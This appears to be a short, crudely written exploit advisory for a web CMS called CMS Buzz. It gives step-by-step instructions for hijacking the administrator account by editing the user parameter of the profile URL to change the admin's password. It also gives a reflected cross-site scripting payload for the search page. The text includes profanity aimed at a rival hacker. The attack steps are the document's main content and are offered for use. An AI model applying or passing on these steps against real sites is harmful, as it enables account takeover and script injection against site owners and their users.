[+] CMS Buzz (xss/Change Password)Multiple Remote Vulnerabilities [+] Discovered By xhaxkerx [+] Vendor: http://www.c99.mobi [+] Note : If you are The S3r!0uS I say To Fuck you Because You are Hacked Site Of My Best Friends dz-boys.com [+] Demo:http://demo.cmsbuzz.com/ [+] Greeting : yasin Remote Changing Password: +++++++++++++++++++++++++ 1) You Must Register In ThE site http://www.victim.com/?action=register 2) Login 3) Go To url: http:///www.victim.com/?action=profile&user= [ Name Of user ] Example http:///www.victim.com/?action=profile&user=admin Change admin Password Then go To login http://path/?action=login Cross Site Scritping ++++++++++++++++++++ http://www.victim.com/?action=search <script>alert("xss")</script>